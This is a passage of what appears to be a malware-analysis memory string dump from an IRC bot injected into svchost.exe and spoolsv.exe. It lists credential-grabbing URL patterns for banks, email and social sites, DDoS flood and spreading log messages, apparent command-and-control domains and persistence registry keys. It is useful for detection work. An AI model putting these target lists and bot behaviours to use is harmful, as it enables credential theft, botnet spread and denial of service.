com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\svchost.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\svchost.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>svchost.exe_1244_rwx_00CB0000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\svchost.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\svchost.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>spoolsv.exe_1436_rwx_00F50000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" 